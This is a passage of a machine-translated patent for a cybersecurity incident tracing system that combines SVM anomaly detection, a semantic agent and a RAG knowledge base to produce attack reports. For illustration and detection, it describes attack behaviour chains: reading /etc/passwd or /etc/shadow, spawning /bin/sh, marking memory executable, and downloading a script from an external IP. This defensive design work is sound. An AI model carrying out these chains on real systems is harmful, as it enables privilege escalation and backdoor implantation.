[0085] An optional retrieval process is provided illustratively: input the vector generated by the semantic agent into the RAG retrieval engine; perform a high-dimensional vector approximate nearest neighbor search using the FAISS or HNSW algorithm; return the Label field of the Top-1 match as the supervision label for this action, and record the cosine similarity score as the confidence level.

[0086] For example: A certain behavior vector matches the entry "Cobalt Strike Beacon initialization" in the knowledge base with a similarity of 0.92 → the label is "1 / dangerous - backdoor implantation (92%)" → the sample is then assigned the "abnormal" label and used to train SVM to recognize this type of behavior.

[0087] It should be noted that all knowledge base entries are derived from historical real attack events, attack and defense drill records, or authoritative threat intelligence, and are not based on human speculation; special handling of low-confidence samples: if the similarity is <0.7, the sample will be marked as "to be labeled" and pushed to experts for review, so as to continuously evolve the knowledge base, rather than being directly discarded.

[0088] The final training dataset is as follows: Training samples = [original system call sequences]; Supervision labels = [Label: 1 / 0 + attack type + confidence level]. This dataset is used to train the SVM model to learn that: "When the system call sequence exhibits a combination pattern of 'reading sensitive files + starting a shell + making memory executable,' this behavior is highly likely to be a 'privilege escalation attack.'"

[0089] Step S302: If the target system exhibits abnormal behavior, the system process is blocked, and the system behavior data is semantically converted through a semantic agent to obtain the behavior text in natural language form and the behavior code in vector form.

[0090] It's important to clarify that blocking system processes when abnormal behavior is detected in the target system refers to taking proactive blocking measures immediately after the detection model determines abnormal behavior, preventing the attack from spreading further, rather than simply issuing an alert and waiting for manual intervention. When the SVM anomaly detection model outputs an "anomaly" result, the trusted terminal's kernel-level interception module immediately triggers termination or privilege isolation of the target process (e.g., setting memory pages to non-executable, disabling network connections), while preserving the process's complete behavioral context (system call stack, network 5-tuple, file I / O) for subsequent analysis. For example, if the system detects that the process svchost.exe calls VirtualProtect to modify memory to be executable and write remotely downloaded shellcode, the system immediately terminates the process, preventing the execution of the abnormal code.

[0091] The above steps enable proactive defense and real-time response, halting the execution of attacks before they cause substantial damage; they also ensure the integrity of behavioral data: blocking rather than deleting it ensures a complete "chain of evidence," providing original evidence for subsequent tracing. Unlike traditional "alarm-only" systems, this embodiment implements a closed-loop security response mechanism that addresses issues immediately upon detection.

[0092] A semantic agent is a lightweight AI module deployed on a trusted terminal that can translate machine language system behaviors (such as system call sequences) into human-readable natural language descriptions. It acts as a "translator" connecting underlying data and semantic intelligence. The semantic agent incorporates lightweight semantic models (such as MiniLM and DistilBERT) and, through a predefined behavior-semantic mapping rule base and contextual reasoning logic, transforms the original system call sequence (such as [openat(" / etc / passwd",O_RDONLY),execve(" / bin / sh",...)]) into structured natural language: "The process reads the system password file with root privileges and starts the Bash interpreter, exhibiting a tendency to escalate privileges and steal data." This process strictly reuses the templates and models used in the training phase, ensuring semantic space consistency.

[0093] Semantic proxies can achieve semantic alignment from machine language to human language, transforming obscure system call sequences into semantic expressions that security operations personnel can understand; they can also provide searchable text input for RAG retrieval, opening up a semantic channel between "machine detection" and "intelligent knowledge base".

[0094] Furthermore, semantic transformation refers to the simultaneous generation of two forms of output from the original system behavior data through a semantic agent: natural language description (for human reading) and semantic vector (for machine retrieval).

[0095] It should be noted that the Text path yields behavioral text in natural language form, which is a structured and standardized natural language description for human use, transformed by a semantic agent, containing elements such as the subject, object, action, context, and intent. For example: "The process executes cmd.exe with SYSTEM privileges and downloads a script from IP 185.143.221.147 via PowerShell, then attempts to modify a memory page to have executable permissions, consistent with the initialization behavior characteristics of Cobalt StrikeBeacon."

[0096] The Vector path inputs the text into a pre-trained semantic embedding model (such as Sentence-BERT) to generate a vector form of behavior encoding (Vector), for example, a 768-dimensional numerical vector that represents the "semantic fingerprint" of the behavior in the semantic space.

[0097] Both are generated from the same input, the same model, and the same rules, ensuring complete semantic consistency between "human-readable text" and "machine-readable vectors." Semantic transformation enables dual use of a single source, allowing the same behavioral data to serve both human readability and machine searchability simultaneously. It also provides an efficient and high-precision retrieval vehicle for subsequent RAG searches, avoiding semantic biases inherent in traditional keyword matching.

[0098] Step S303: Based on the behavior encoding, retrieve the preset knowledge base to obtain the attack pattern and matching confidence of the system behavior data.

[0099] It should be noted that the Predefined Knowledge Base refers to a searchable database composed of structured security knowledge. It adopts a Text-Vector-Label triplet data structure, storing semantic descriptions, semantic vectors, and security labels of known attack patterns. This is the core knowledge asset for semantic retrieval in this embodiment. Data sources can include historical attack samples (such as APT reports, the MITRE ATT&CK framework, and exploit code), security vendor threat intelligence, and internal attack and defense drill data. The data structure is Text-Vector-Label, where Text is a standardized natural language description (e.g., "The process calls bash to execute a remote script and uses mmap to make the memory executable, conforming to Cobalt Strike Beacon initialization behavior"). Vector is a multi-dimensional dense vector generated from the above Text using semantic encoding models such as Sentence-BERT, used for vector similarity matching. Label refers to labels such as "1 / Dangerous - Privilege Escalation Attack (95%)" and "0 / Safe - Exemption Behavior (100%)", used for training SVM and subsequent confidence calibration.

[0100] Alternatively, the pre-defined knowledge base in the deployment architecture can be divided into two layers: a lightweight RAG sub-library on the terminal: deployed on a trusted terminal, containing only high-frequency attack patterns and exemption behaviors (approximately several hundred entries), satisfying millisecond-level local retrieval; and a full RAG master library on the management end: deployed on a trusted management platform, containing all attack patterns (tens of thousands of entries), used for accurate backtracking after local retrieval failures.

[0101] By using a pre-set knowledge base, attack patterns can be stored semantically and searchably, mapping machine language behavior to human-understandable attack intentions; an intelligent mapping channel of "behavior → intention" can be constructed, so that unknown behaviors can be classified into known attack patterns; and a training-application closed loop can be supported. The Label in the knowledge base is the golden label for SVM model training, ensuring that detection and tracing are "homogeneous and isomorphic".

[0102] Another point to note is that the Matched Attack Pattern (MAT) of the system behavior data refers to finding the known attack pattern description that is most similar to the current abnormal behavior in a pre-defined knowledge base through semantic vector retrieval. In other words, "Does this abnormal behavior look the same as a type of attack we have seen before?"

[0103] In the final implementation process, the behavior encoding is input into the RAG retrieval engine. The engine uses an approximate nearest neighbor search algorithm to search for the Top-1 or Top-K most similar vectors in the knowledge base. If the cosine similarity is greater than a threshold (e.g., 0.85), a successful match is determined, and the Text field of that entry is returned as the "attack mode". For example: the input vector has a similarity of 0.93 with the entry "Cobalt StrikeBeacon initialization" in the knowledge base → the matched attack mode is: "The process calls bash to execute a remote script and uses mmap to make the memory executable".

[0104] The above steps enable accurate semantic classification from behavioral fragments to attack types, solving the dilemma of traditional detection that "knows the anomaly but doesn't know what kind of attack it is." It also allows attack identification to no longer rely on signatures or rules, but to identify variant attacks (such as renaming or parameter modification) based on semantic similarity generalization, providing interpretable, auditable, and reusable attack tags for report generation.

[0105] Matching confidence refers to the quantified value of the degree of semantic matching between the current system behavior and a certain attack pattern in the knowledge base, reflecting the reliability of the matching result. In practice, the RAG retrieval engine can directly output the vector similarity score (e.g., cosine similarity 0.93), which can be converted into a probability form by a calibration model (e.g., PlattScaling) as the confidence score (e.g., 93%). If multiple patterns are matched, the highest confidence score is taken as the primary label, and the rest are used as auxiliary labels (e.g., "93% Cobalt Strike, 12% PowerShell Trojan").

[0106] Furthermore, the preset knowledge base includes: a light quantum library located on the trusted terminal and a full library located on the trusted management terminal. The full library contains all attack data, while the light quantum library contains attack data corresponding to high-frequency attack types with attack frequencies exceeding a preset frequency threshold. The full library provides timed data update services to the light quantum library.

[0107] Furthermore, the step of obtaining the attack pattern and matching confidence level of the system behavior data by retrieving a preset knowledge base based on behavior encoding includes: searching the local light quantum library based on behavior encoding through a trusted terminal to obtain a first search result, wherein the first search result includes: a suspected attack pattern and a first matching confidence level; if the first matching confidence level is greater than or equal to a preset confidence level threshold, the suspected attack pattern is determined as the attack pattern of the system behavior data.

[0108] It should be noted that the search is performed on the trusted terminal using a locally located lightweight quantum library based on behavior encoding. The lightweight quantum library in this step is a simplified security semantic knowledge base deployed locally on the trusted terminal. It only contains a list of core attack patterns and exempt behaviors with high frequency, high confidence, and low storage overhead, aiming to meet the real-time requirement of millisecond-level response on the terminal side.

[0109] Specifically, behavioral encoding refers to the standardized natural language vectors generated by the semantic agent for the underlying behavior of the system (such as the system call stack, network quintuples, and file I / O). Its dimensions are fixed (e.g., 768 dimensions), and it is the only input carrier for RAG retrieval.

[0110] The content structure of a lightweight quantum library can be defined as each record being a Text-Vector-Label triple, for example:

[0111] Text: "The process executes / bin / sh with administrator privileges, downloads the script from an external IP, and then marks memory pages as executable."

[0112] Vector: [0.82, -0.15, ..., 0.67] (768 dimensions);

[0113] Label: "1 / Dangerous - Backdoor implantation (94%)".

[0114] Once the SVM model determines that the system exhibits abnormal behavior, it immediately triggers the semantic agent to generate behavior encoding and calls the local lightweight quantum library for vector similarity retrieval (e.g., using HNSW or FAISS algorithms). Only approximately 500–2000 core attack patterns and exemption behaviors are searched in the local library, ensuring a single retrieval latency of ≤10ms.

[0115] When the confidence level of the first match is greater than or equal to the preset confidence threshold, the suspected attack pattern is identified as the matched attack pattern. This means introducing a confidence threshold mechanism to avoid false matches with low similarity and to ensure that the source tracing is considered successful only when there is a high confidence level match, thus avoiding fuzzy matching from misleading the handling decision.

[0116] For example, if the preset confidence threshold is set to 0.85 (85%), then: if the confidence of the first match is ≥0.85, it is considered a valid match and the attack mode is directly output; if it is <0.85, it is considered a local retrieval failure and enters the full retrieval process on the management end.

[0117] If the matching result is “1 / Danger - Privilege Escalation Attack (82%)” → 82% < 85% → not adopted, triggering management-side retrieval; if the matching result is “1 / Danger - Ransomware Encryption (88%)” → 88% ≥ 85% → confirmed as an attack mode, no need to upgrade the retrieval.

[0118] Furthermore, the step of obtaining the attack pattern and matching confidence of the system behavior data based on the behavior code retrieval preset knowledge base also includes: when the first matching confidence is less than the preset confidence threshold, encrypting and encapsulating the behavior code, system behavior data and local retrieval logs, and transmitting the resulting encrypted file to the trusted management terminal; parsing the encrypted file through the trusted management terminal, and searching in the full database according to the parsing result to obtain the second retrieval result, wherein the second retrieval result includes: the attack pattern of the system behavior data matching and the second matching confidence.

[0119] When the terminal's local lightweight quantum library cannot match the attack pattern with high confidence, the system does not discard the abnormal event. Instead, it encrypts and sends its complete context information to the management end for in-depth analysis to ensure that "no potential threat is missed".

[0120] In one optional implementation, the behavior encoding is a high-dimensional semantic vector (e.g., 768-dimensional) generated by the semantic agent, which is the core carrier of RAG retrieval; the system behavior data is the underlying behavior sequence in the form of raw machine language, including: system call stack (e.g., openat(" / etc / passwd", O_RDONLY) → execve(" / bin / sh") → mmap(..., PROT_EXEC)); network quintuple (source IP, destination IP, source port, destination port, protocol); file I / O records (e.g., creating / modifying sensitive path files); local retrieval logs containing the input vector, matching items (Top-3), similarity score, timestamp, and reasons for no match; the encryption encapsulation method is determined to be symmetric encryption (e.g., AES-256) of the above three types of data using the trusted security module built into the terminal; the encryption key is derived from the device's unique key shared by the trusted terminal and the management terminal, ensuring that only the management terminal can decrypt it; it is encapsulated into a structured file (e.g., JSON + binary vector + signature) and an integrity check hash (SHA-384) is attached to prevent tampering.

[0121] In the steps of parsing encrypted files through a trusted management terminal and searching the full database based on the parsing results, the management terminal possesses a full-scale security semantic RAG master library, covering all known attack patterns, historical events, and zero-day samples. It has stronger semantic understanding and matching capabilities to handle complex, rare, or novel attacks. The management terminal uses a pre-set key to decrypt the received encrypted files, extracting behavioral codes, raw behavioral data, and logs. It employs a high-precision vector retrieval algorithm (such as IVF-PQ + exact matching) to perform a global similarity search on the behavioral codes in the full database. The full database contains hundreds of thousands of entries, covering: historical APT attack chains; zero-day exploit behaviors; and atypical attack variants (such as obfuscated scripts that bypass detection). The search returns a second search result in the format: "1 / Dangerous - Advanced Persistent Threat (APT) - Covert Persistence (96%)".

[0122] If the behavior is a new attack pattern and the confidence level is ≥90%, the system will automatically trigger the knowledge base update process to generate a new Text-Vector-Label triplet for subsequent training and terminal synchronization; if the attack pattern is confirmed, the management terminal will push the entry to the Light Quantum Library to realize the two-way flow of threat intelligence.

[0123] Step S304: Generate a network security incident tracing and handling report based on behavioral text, attack pattern, matching confidence, anomaly detection results, and system context information.

[0124] It should be noted that system context information refers to environmental, historical, and related data that is strongly correlated with the occurrence of abnormal behavior, and is not the behavior itself, but can help determine the attack intent and scope of harm. It provides a complete picture of "who did what, when, with what permissions, in what environment, and what", and is the key to achieving accurate source tracing rather than isolated judgment.

[0125] In practice, the trusted terminal synchronously records the following context dimensions when collecting system behavior data:

[0126] Process context: parent process chain (e.g., explorer.exe→svchost.exe→powershell.exe), startup user (UID), permission level (e.g., whether it is root / SYSTEM);

[0127] Time context: The specific timestamp of the abnormal behavior, and whether it occurred outside of working hours (e.g., 2:17 AM).

[0128] Network context: Whether it connects to a known C2 server IP (e.g., 185.143.221.147), and whether it involves high-frequency outbound connections;

[0129] File context: Whether to operate on sensitive paths (such as / etc / passwd, C:\Windows\System32), whether to create / execute files in temporary directories ( / tmp, %AppData%);

[0130] Historical context: Has this process / user ever been flagged as suspicious (historical alert records)?

[0131] Associated behavior: Whether it is accompanied by other abnormal behaviors (such as "reading password file" followed by "calling execve").

[0132] All contextual information is automatically captured by the trusted terminal kernel module and transmitted in parallel with the original behavior sequence, semantic text, and RAG matching results to the report generation module.

[0133] The above steps allow for a comprehensive reconstruction of the attack intent. Knowing only that "bash was executed" is insufficient, but combining this with "executed with SYSTEM privileges in the early morning, connecting to C2, and writing to / tmp" is sufficient to identify an APT penetration. It also reduces the false alarm rate, distinguishing between "administrator maintenance" and "attacker exploitation" (e.g., both are PowerShell-ep bypass, one executed by IT during working hours, and the other started by an unknown process outside of working hours). Furthermore, it improves the accuracy of handling recommendations, avoiding "one-size-fits-all" suggestions (e.g., "ban all PowerShell"), and instead outputting precise instructions such as "isolate only the process + block the C2IP".

[0134] A cybersecurity Attribution & Response Report is a structured, natural language-based automated summary of security incidents. It integrates behavioral semantics, attack patterns, confidence levels, detection results, and contextual information to provide security operations personnel with a direct, readable, understandable, and actionable handling guide.

[0135] In specific implementation, the report generation module can receive the following five types of input: behavioral text (from S302): such as "The process starts bash with SYSTEM privileges, downloads a script from IP 185.143.221.147 and modifies the memory to be executable"; attack mode (from S303): such as "Cobalt Strike Beacon initialization behavior"; match confidence (from S303): such as "95%"; anomaly detection result (from S301): such as "SVM is determined to be a high-risk anomaly"; system context information (as described above).

[0136] The module performs intelligent semantic fusion and logical organization according to a preset template (natural language structure) to generate a standardized report, as shown in the example below:

[0137] [Cybersecurity Source Tracing and Handling Report]

[0138] Event level: High risk (Confidence level: 95%)

[0139] Attack type: Cobalt Strike Beacon initialization

[0140] Behavior description: The process starts / bin / bash with SYSTEM privileges, downloads a script from the external IP 185.143.221.147 using curl, and marks a memory page as executable using the mmap system call, which is consistent with typical backdoor implantation behavior.

[0141] System context:

[0142] Parent process: svchost.exe (abnormal parent chain)

[0143] Execution time: 2025-04-05 03:17:22 (outside of working hours)

[0144] Target file: / tmp / .update.sh

[0145] Target IP: 185.143.221.147 (Known as a malicious IP)

[0146] Recommendations for handling:

[0147] ① Immediately isolate the terminal and disconnect it from the network;

[0148] ② Terminate process PID 4892 and delete file / tmp / .update.sh;

[0149] ③ Block IP 185.143.221.147 globally in the firewall;

[0150] ④ Check if the same parent process chain exists on other hosts (svchost.exe → bash);

[0151] ⑤ Update EDR rules and monitor the behavior of the mmap+execve combination.

[0152] The above steps enable a seamless transition from detection results to action, allowing safety officers to execute reports directly without needing to analyze logs or consult manuals; it reduces reliance on experts, enabling junior maintenance personnel to independently respond to high-risk incidents; and it establishes standardized, auditable, and reusable handling procedures, improving SOC operational efficiency.

[0153] Furthermore, after generating a cybersecurity incident tracing and handling report, the tracing and detection method also includes: receiving feedback from the operations and maintenance department regarding the tracing and detection report; if the new attack pattern pointed out in the feedback does not have a historical record in the full database, encapsulating the behavior text, behavior code, and new attack pattern into new knowledge entries through the trusted management department; and updating the new knowledge entries to the full database.

[0154] It should be noted that this step introduces a closed-loop feedback mechanism from human security experts to receive feedback from the operations and maintenance team regarding the source tracing and detection report. This mechanism uses the experience, judgment, corrective understanding, or new discoveries of operations and maintenance personnel during the handling process as input sources for system evolution, achieving a collaborative evolution of "machine recognition + human correction".

[0155] The source tracing and handling report is output in structured natural language format, including: "Behavior description: The process reads / etc / shadow with root privileges and calls mmap to request executable memory; Attack type: Privilege escalation attack; Confidence level: 92%; Recommendation: Terminate the process, check the SUID file."

[0156] After reviewing the report, operations and maintenance personnel can manually annotate and provide feedback through the management platform, such as: "This behavior is not a normal privilege escalation, but a new variant of supply chain attack. The attacker injects abnormal code through a legitimate service update, bypassing the exemption behavior list detection. It is recommended to add the label 'Supply Chain Poisoning - Memory-Resident'."

[0157] Feedback should be submitted in the form of structured metadata, including: the original report ID; the manually corrected attack type name; supplementary information (such as the attack entry point, exploitation conditions, and propagation path); and whether it is the first discovery ("first observation" / "known variant").

[0158] Furthermore, the feedback indicated that when a new attack pattern is not recorded in the full database, the step of encapsulating it as a new knowledge entry demonstrates that the system has the ability to automatically identify knowledge blind spots. Knowledge entry generation is only triggered when the content reported by operations and maintenance is a new pattern that is completely missing from the full database, thus avoiding duplicate entries or noise pollution.

[0159] After receiving the feedback, the trusted management terminal executes the following verification logic:

[0160] Semantic comparison: The name of the "new attack mode" in the feedback (such as "abuse of GPG to execute abnormal attack payloads") is semantically similar to all Text fields in the full library (using the same encoding model).

[0161] Vector comparison: The behavior codes provided in the feedback are searched in the full database using the Top-5 search. If the highest similarity is <0.75 (preset threshold), it is determined to be a new attack mode.

[0162] Tag consistency verification: Confirm that the attack type reported does not conflict with or overlap with the existing tag system (such as "danger-privilege escalation" and "danger-espionage"), and has independent semantic boundaries;

[0163] If a new attack pattern is confirmed, the system automatically generates a new Text-Vector-Label triplet: Text: "The process calls the system encryption tool GPG to decrypt the configuration file, reads its contents, and writes the remote script download instruction into the user's shell startup file to achieve covert persistence."; Vector: (a 768-dimensional vector that is completely consistent with the original behavior encoding); Label: "1 / Dangerous - Abuse of legitimate tools - Persistence (95%)" (the confidence level is obtained by weighting the operation and maintenance feedback and the system confidence level).

[0164] The new knowledge entry is updated to the full database and written into the full security semantic RAG main database, and incorporated into the vector index system; the knowledge distribution mechanism is triggered simultaneously: the entry is pushed to all trusted terminals, and the local lightweight quantum database is updated (to ensure that the edge terminal is synchronously aware of new threats); the entry is marked as "manually confirmed new threat" for incremental training of subsequent SVM models; the update log records: "2025-04-05 14:22:18 | Added knowledge entry: Abuse of GPG to execute abnormal attack payloads | Source: Operation and maintenance feedback ID#FED-8821 | Confidence: 95%".

[0165] Through steps S301 to S304 above, the system process can be monitored first through a trusted terminal, and the system behavior data collected periodically can be input into the anomaly detection model to output the anomaly detection result. The anomaly detection model is used to analyze the underlying data in machine language form to determine whether there is abnormal behavior in the target system. If abnormal behavior is found in the target system, the system process is blocked. The system behavior data is semantically converted through a semantic agent to obtain the behavior text in natural language form and the behavior code in vector form. Then, based on the behavior code, a preset knowledge base is retrieved to obtain the attack pattern and matching confidence of the system behavior data. Finally, based on the behavior text, attack pattern, matching confidence, anomaly detection result and system context information, a network security incident tracing and handling report is generated.

[0166] Figure 4 This is an optional flowchart of abnormal behavior detection and intelligent source tracing according to an embodiment of the present invention, such as... Figure 4 As shown, it includes the following steps:

[0167] 1. Semantic translation steps.

[0168] The SVM anomaly detection module continuously detects the underlying data collected in real time by trusted components. When it determines that there is abnormal behavior in the system, it first blocks it in real time and reports it to the trusted management platform. Then, it immediately triggers the intelligent tracing process and pushes the underlying data related to the anomaly (process call stack, network 5-tuple, file I / O, etc.) to the semantic agent.

[0169] After receiving the underlying data, the semantic agent processes it according to the same rules as in the training phase: first, it translates the underlying data into a standardized, human- and machine-readable natural language description, clearly presenting the core features of the abnormal behavior; second, it transforms the natural language description into a corresponding natural language vector, providing a recognizable retrieval carrier for subsequent RAG retrieval.

[0170] After processing, the semantic agent converts the natural language description into a natural language vector, and then starts the retrieval process in the terminal's lightweight RAG.

[0171] 2. Local search steps on the terminal.

[0172] After receiving the natural language vector output by the semantic agent, the terminal lightweight RAG calls the local lightweight knowledge base and uses an efficient vector similarity retrieval algorithm to quickly match the vector with the semantic vectors in the local library to determine whether a corresponding attack pattern exists. The local retrieval process is completed based on the terminal's local computing power, with no network transmission delay. If the match is successful, the terminal lightweight RAG pushes the matching result (attack type, confidence level, corresponding natural language description, and remediation suggestions) to the report generation module.

[0173] 3. Management terminal retrieval steps.

[0174] If the terminal lightweight RAG fails to match the corresponding attack mode in the local lightweight knowledge base during the local search process (i.e., the local search fails), the system will automatically trigger the search upgrade process and push the natural language vector + abnormal underlying data + local search log to the management terminal security semantic RAG through a secure encrypted network.

[0175] After receiving a search request, the management-side security semantics RAG calls the full security attack knowledge base and uses a high-precision vector similarity retrieval algorithm to perform a full match to ensure that no potential attack type is missed.

[0176] After the matching is completed, the management-side security semantic RAG will push the full search results (attack type, confidence level, natural language description, and targeted handling suggestions) to the report generation module.

[0177] 4. Report generation steps.

[0178] After receiving the search results pushed by the terminal lightweight RAG or the management terminal security semantic RAG, the report generation module integrates the natural language description of abnormal behavior output by the semantic agent and the basic detection data of the SVM anomaly detection module, and performs structured integration according to the preset standardized template.

[0179] The final result is a natural language attack tracing report, which includes four core components: ① a detailed natural language description of the abnormal behavior; ② the type of attack matched; ③ the specific confidence level of the attack determination; and ④ actionable recommendations for this type of attack.

[0180] The report is output in pure natural language, which can be directly viewed and used by security operations and maintenance personnel without the need for professional data analysis, making the tracing results readable and practical.

[0181] In this embodiment of the invention, a semantic agent-driven structured behavior transformation and hierarchical knowledge base collaborative retrieval method is adopted. By uniformly mapping the underlying system behavior data collected by trusted terminals into natural language text and high-dimensional semantic vectors, and performing two-level retrieval matching based on the vectors in the local lightweight quantum library and the full library of the management terminal, the training labels of the anomaly detection model and the source retrieval knowledge source are completely aligned. This achieves the technical effect of end-to-end closed-loop linkage from behavior detection to semantic source tracing, thereby solving the technical problem of data barriers and execution gaps in anomaly behavior detection and source tracing in related technologies, which leads to delayed response to network security incidents. Specifically, traditional methods rely on manually labeled feature tags for detection models, while source tracing relies on expert rule bases. The semantic space of the two is fragmented, resulting in "detection but no traceability." This invention uses a semantic proxy to uniformly convert the underlying data into a searchable data structure, ensuring that the semantic tags of attack patterns used in model training and application are of the same data structure type. This guarantees that every detected abnormal behavior has an explainable and matchable attack pattern in the knowledge base. At the same time, lightweight local retrieval ensures real-time response, and the full database ensures coverage. This completely connects the detection and source tracing links, enabling a smooth transition from machine recognition to human-recognizable reports of abnormal events.

[0182] The invention will now be described in conjunction with another alternative embodiment.

[0183] Example 2

[0184] The network security incident tracing and detection device provided in this embodiment includes multiple implementation units, each of which corresponds to a specific implementation step in Embodiment 1 above.

[0185] Figure 5 This is a schematic diagram of an optional network security incident tracing and detection device according to an embodiment of the present invention, such as... Figure 5As shown, the device may include: a monitoring unit 51, a semantic conversion unit 52, a retrieval unit 53, and a generation unit 54.

[0186] The monitoring unit 51 is used to monitor the system process through a trusted terminal, input the system behavior data collected periodically into the anomaly detection model, and output the anomaly detection results. The anomaly detection model is used to analyze the underlying data in machine language to determine whether there is abnormal behavior in the target system.

[0187] The semantic conversion unit 52 is used to block the system process when there is abnormal behavior in the target system, and to perform semantic conversion on the system behavior data through a semantic agent to obtain the behavior text in natural language form and the behavior code in vector form.

[0188] The retrieval unit 53 is used to retrieve a preset knowledge base based on behavior encoding to obtain the attack pattern and matching confidence of the system behavior data.

[0189] The generation unit 54 is used to generate a network security incident tracing and handling report based on behavioral text, attack pattern, matching confidence, anomaly detection results and system context information.

[0190] The aforementioned network security incident tracing and detection device can first monitor the system process through a trusted terminal via a monitoring unit 51, and input the periodically collected system behavior data into an anomaly detection model, outputting anomaly detection results. The anomaly detection model is used to analyze the underlying data in machine language form to determine whether there is abnormal behavior in the target system. Then, if abnormal behavior exists in the target system, the semantic conversion unit 52 blocks the system process and performs semantic conversion on the system behavior data through a semantic proxy to obtain behavior text in natural language form and behavior encoding in vector form. Then, the retrieval unit 53 retrieves a preset knowledge base based on the behavior encoding to obtain the attack pattern and matching confidence level of the system behavior data. Finally, the generation unit 54 generates a network security incident tracing and handling report based on the behavior text, attack pattern, matching confidence level, anomaly detection results, and system context information.

[0191] In this embodiment of the invention, a semantic agent-driven structured behavior transformation and hierarchical knowledge base collaborative retrieval method is adopted. By uniformly mapping the underlying system behavior data collected by trusted terminals into natural language text and high-dimensional semantic vectors, and performing two-level retrieval matching based on the vectors in the local lightweight quantum library and the full library of the management terminal, the training labels of the anomaly detection model and the source retrieval knowledge source are completely aligned. This achieves the technical effect of end-to-end closed-loop linkage from behavior detection to semantic source tracing, thereby solving the technical problem of data barriers and execution gaps in anomaly behavior detection and source tracing in related technologies, which leads to the lag in the handling and response of network security incidents. Specifically, traditional methods rely on manually labeled feature tags for detection models, while source tracing relies on expert rule bases. The semantic space of the two is fragmented, resulting in "detection but no traceability." This invention uses a semantic proxy to uniformly convert the underlying data into a searchable data structure, ensuring that the semantic tags of attack patterns used in model training and application are of the same data structure type. This guarantees that every detected abnormal behavior has an explainable and matchable attack pattern in the knowledge base. At the same time, lightweight local retrieval ensures real-time response, and the full database ensures coverage. This completely connects the detection and source tracing links, enabling a smooth transition from machine recognition to human-recognizable reports of abnormal events.

[0192] Furthermore, the preset knowledge base includes: a light quantum library located on the trusted terminal and a full library located on the trusted management terminal. The full library contains all attack data, while the light quantum library contains attack data corresponding to high-frequency attack types with attack frequencies exceeding a preset frequency threshold. The full library provides timed data update services to the light quantum library.

[0193] Furthermore, the retrieval unit includes: a first retrieval module, used to perform a retrieval based on behavior encoding in a locally located light quantum library via a trusted terminal to obtain a first retrieval result, wherein the first retrieval result includes: a suspected attack pattern and a first matching confidence level; and a determination module, used to determine the suspected attack pattern as an attack pattern matching the system behavior data if the first matching confidence level is greater than or equal to a preset confidence threshold.

[0194] Furthermore, the retrieval unit also includes: an encapsulation module, used to encrypt and encapsulate the behavior code, system behavior data, and local retrieval log when the first matching confidence is less than a preset confidence threshold, and transmit the resulting encrypted file to the trusted management terminal; and a second retrieval module, used to parse the encrypted file through the trusted management terminal and search the full database based on the parsing results to obtain a second retrieval result, wherein the second retrieval result includes: the attack mode of the system behavior data matching and the second matching confidence.

[0195] Furthermore, the network security incident tracing and detection device also includes: a training unit, used to execute the training steps of the anomaly detection model, including: a construction module, used to construct model training data based on trusted terminals, semantic agents, and a preset knowledge base, wherein the model training data includes: behavioral samples and supervision labels; and a training module, used to obtain a preset classification model, input behavioral samples into the preset classification model, train the preset classification model according to the supervision labels, and stop training when the model converges or reaches a preset classification accuracy, thus obtaining the anomaly detection model.

[0196] Furthermore, the construction module includes: a collection submodule, used to collect system behavior logs in a test environment via a trusted terminal, wherein the system behavior logs include: normal operation behavior logs and abnormal attack behavior logs in machine language form; a first generation submodule, used to perform semantic parsing on the system behavior logs through a semantic agent to generate system behavior text descriptions in natural language form, and to perform semantic encoding on the system behavior text descriptions to generate system behavior vector representations; a retrieval submodule, used to perform cosine similarity retrieval in a preset knowledge base based on the system behavior vector representations, and output retrieval results, wherein the retrieval results include: system behavior property labels and confidence scores; and a second generation submodule, used to generate model training data by using the system behavior logs as behavior samples and the retrieval results as supervision labels.

[0197] Furthermore, the network security incident tracing and detection device also includes: a receiving unit, used to receive feedback from the operation and maintenance end regarding the tracing and detection report after generating the network security incident tracing and handling report; an encapsulation unit, used to encapsulate the behavior text, behavior code, and new attack pattern into new knowledge entries through the trusted management end when the new attack pattern pointed out in the feedback does not have a historical record in the full database; and an updating unit, used to update the new knowledge entries to the full database.

[0198] The aforementioned network security incident tracing and detection device may also include a processor and a memory. The aforementioned monitoring unit 51, semantic conversion unit 52, retrieval unit 53, generation unit 54, etc., are all stored in the memory as program units, and the processor executes the aforementioned program units stored in the memory to realize the corresponding functions.

[0199] The aforementioned processor contains a kernel, which retrieves the corresponding program units from memory. One or more kernels can be configured, and by adjusting kernel parameters, system processes can be monitored via trusted terminals. System behavior data collected periodically is input into an anomaly detection model, which outputs anomaly detection results. The anomaly detection model analyzes low-level data in machine language to determine if the target system exhibits abnormal behavior. If abnormal behavior is detected, the system process is blocked, and the system behavior data is semantically converted using a semantic proxy to obtain behavior text in natural language and behavior encoding in vector form. Based on the behavior encoding, a pre-defined knowledge base is retrieved to obtain the attack pattern and matching confidence level that matches the system behavior data. Based on the behavior text, attack pattern, matching confidence level, anomaly detection results, and system context information, a network security incident tracing and handling report is generated.

[0200] The aforementioned memory may include non-permanent memory in computer-readable media, such as random access memory (RAM) and / or non-volatile memory, such as read-only memory (ROM) or flash RAM, and the memory includes at least one memory chip.

[0201] This application also provides a computer program product that, when executed on a data processing device, is suitable for executing an initialization program with the following method steps: monitoring system processes through a trusted terminal, inputting periodically collected system behavior data into an anomaly detection model, and outputting anomaly detection results. The anomaly detection model is used to analyze the underlying data in machine language form to determine if the target system exhibits abnormal behavior. If abnormal behavior is found in the target system, the system process is blocked, and the system behavior data is semantically converted using a semantic proxy to obtain behavior text in natural language form and behavior encoding in vector form. Based on the behavior encoding, a preset knowledge base is retrieved to obtain the attack pattern and matching confidence level of the system behavior data. Based on the behavior text, attack pattern, matching confidence level, anomaly detection results, and system context information, a network security incident tracing and handling report is generated.

[0202] According to another aspect of the present invention, a computer-readable storage medium is also provided, the computer-readable storage medium including a stored computer program, wherein, when the computer program is running, it controls the device where the computer-readable storage medium is located to execute the network security event tracing and detection method of any one of the above embodiments.

[0203] According to another aspect of the present invention, an electronic device is also provided, including one or more processors and a memory, wherein the memory is used to store one or more programs, wherein when the one or more programs are executed by the one or more processors, the one or more processors cause the one or more processors to implement the network security event tracing and detection method of any one of the above embodiments.

[0204] Figure 6 This is a structural block diagram of an electronic device for performing a network security incident tracing and detection method according to an embodiment of the present invention, such as... Figure 6 As shown, the electronic device may include: one or more ( Figure 6 (Only one is shown) Processor 602, memory 604, memory controller, and peripheral interface, wherein the peripheral interface is connected to the radio frequency module, audio module and display.

